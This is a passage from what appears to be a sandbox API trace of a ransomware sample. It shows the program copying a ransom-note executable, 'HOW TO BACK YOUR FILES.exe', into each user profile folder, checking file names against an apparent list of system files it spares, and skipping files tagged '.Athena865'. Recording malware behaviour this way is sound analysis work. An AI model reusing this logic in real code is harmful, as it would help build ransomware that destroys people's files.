TO BACK YOUR FILES.exe" [0036.023] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.024] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1 [0036.024] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1 [0036.024] lstrlenW (lpString="Cookies") returned 7 [0036.024] lstrcpyW (in: lpString1=0x241e896, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0036.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd20 [0036.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b538 [0036.024] lstrcatW (in: lpString1="Cookies", lpString2="\\" | out: lpString1="Cookies\\") returned="Cookies\\" [0036.024] lstrcatW (in: lpString1="Cookies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cookies\\HOW TO BACK YOUR FILES.exe") returned="Cookies\\HOW TO BACK YOUR FILES.exe" [0036.024] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.025] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0036.025] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0036.025] lstrlenW (lpString="Desktop") returned 7 [0036.025] lstrcpyW (in: lpString1=0x241e896, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0036.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd38 [0036.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b5a0 [0036.025] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0036.025] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0036.025] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.026] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf685a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0036.026] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0036.026] lstrlenW (lpString="Documents") returned 9 [0036.026] lstrcpyW (in: lpString1=0x241e896, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0036.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd50 [0036.026] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52dfb8 [0036.026] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0036.026] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0036.026] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.027] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1 [0036.027] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1 [0036.027] lstrlenW (lpString="Downloads") returned 9 [0036.027] lstrcpyW (in: lpString1=0x241e896, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0036.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd68 [0036.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e028 [0036.027] lstrcatW (in: lpString1="Downloads", lpString2="\\" | out: lpString1="Downloads\\") returned="Downloads\\" [0036.027] lstrcatW (in: lpString1="Downloads\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloads\\HOW TO BACK YOUR FILES.exe") returned="Downloads\\HOW TO BACK YOUR FILES.exe" [0036.027] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.028] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0036.028] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.028] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.028] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0036.028] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0036.028] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0036.028] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0036.028] lstrcpyW (in: lpString1=0x241e896, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0036.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd80 [0036.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e098 [0036.028] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0036.028] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0036.028] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.028] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc35b640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc35b640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0036.029] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0036.029] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0036.029] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.029] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.029] lstrcpyW (in: lpString1=0x241e896, lpString2="Links" | out: lpString1="Links") returned="Links" [0036.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd98 [0036.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b608 [0036.029] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0036.029] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0036.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.029] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0036.029] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.029] lstrcmpiW (lpString1="Local Settings", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.029] lstrcpyW (in: lpString1=0x241e896, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0036.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdb0 [0036.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d048 [0036.029] lstrcatW (in: lpString1="Local Settings", lpString2="\\" | out: lpString1="Local Settings\\") returned="Local Settings\\" [0036.029] lstrcatW (in: lpString1="Local Settings\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Local Settings\\HOW TO BACK YOUR FILES.exe") returned="Local Settings\\HOW TO BACK YOUR FILES.exe" [0036.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.030] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0036.030] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.030] lstrcmpiW (lpString1="Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.030] lstrcpyW (in: lpString1=0x241e896, lpString2="Music" | out: lpString1="Music") returned="Music" [0036.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdc8 [0036.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x51b670 [0036.030] lstrcatW (in: lpString1="Music", lpString2="\\" | out: lpString1="Music\\") returned="Music\\" [0036.030] lstrcatW (in: lpString1="Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Music\\HOW TO BACK YOUR FILES.exe") returned="Music\\HOW TO BACK YOUR FILES.exe" [0036.030] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.031] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0036.031] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.031] lstrcmpiW (lpString1="My Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.031] lstrcpyW (in: lpString1=0x241e896, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0036.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cde0 [0036.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e120 [0036.031] lstrcatW (in: lpString1="My Documents", lpString2="\\" | out: lpString1="My Documents\\") returned="My Documents\\" [0036.031] lstrcatW (in: lpString1="My Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Documents\\HOW TO BACK YOUR FILES.exe") returned="My Documents\\HOW TO BACK YOUR FILES.exe" [0036.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.031] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0036.031] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.031] lstrcmpiW (lpString1="NetHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.031] lstrcpyW (in: lpString1=0x241e896, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0036.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cdf8 [0036.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b6d8 [0036.031] lstrcatW (in: lpString1="NetHood", lpString2="\\" | out: lpString1="NetHood\\") returned="NetHood\\" [0036.031] lstrcatW (in: lpString1="NetHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="NetHood\\HOW TO BACK YOUR FILES.exe") returned="NetHood\\HOW TO BACK YOUR FILES.exe" [0036.032] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0036.032] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0036.032] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.032] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.032] lstrcpyW (in: lpString1=0x241e896, lpString2="NTUSER.DAT.LOG.Athena865" | out: lpString1="NTUSER.DAT.LOG.Athena865") returned="NTUSER.DAT.LOG.Athena865" [0036.032] lstrlenW (lpString="NTUSER.DAT.LOG.Athena865") returned 24 [0036.032] lstrlenW (lpString="Athena865") returned 9 [0036.032] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0036.032] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xbd000b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2e700, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1.Athena865", cAlternateFileName="NTUSER~2.ATH")) returned 1 [0036.032] lstrcmpiW (lpString1="NTUSER.DAT.LOG1.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.032] lstrcmpiW (lpString1="NTUSER.DAT.LOG1.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.032] lstrcpyW (in: lpString1=0x241e896, lpString2="NTUSER.DAT.LOG1.Athena865" | out: lpString1="NTUSER.DAT.LOG1.Athena865") returned="NTUSER.DAT.LOG1.Athena865" [0036.032] lstrlenW (lpString="NTUSER.DAT.LOG1.Athena865") returned 25 [0036.032] lstrlenW (lpString="Athena865") returned 9 [0036.032] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0036.032] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2.Athena865", cAlternateFileName="NTUSER~3.ATH")) returned 1 [0036.032] lstrcmpiW (lpString1="NTUSER.DAT.LOG2.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.032] lstrcmpiW (lpString1="NTUSER.DAT.LOG2.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.033] lstrcpyW (in: lpString1=0x241e896, lpString2="NTUSER.DAT.LOG2.Athena865" | out: lpString1="NTUSER.DAT.LOG2.Athena865") returned="NTUSER.DAT.LOG2.Athena865" [0036.033] lstrlenW (lpString="NTUSER.DAT.LOG2.Athena865") returned 25 [0036.033] lstrlenW (lpString="Athena865") returned 9 [0036.033] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0036.033] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xbd04cde0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x10300, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", cAlternateFileName="NTUSER~4.ATH")) returned 1 [0036.033] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0036.033] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.033] lstrcpyW (in: lpString1=0x241e896, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" [0036.033] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned 65 [0036.033] lstrlenW (lpString="Athena865") returned 9 [0036.033] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0036.033] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: 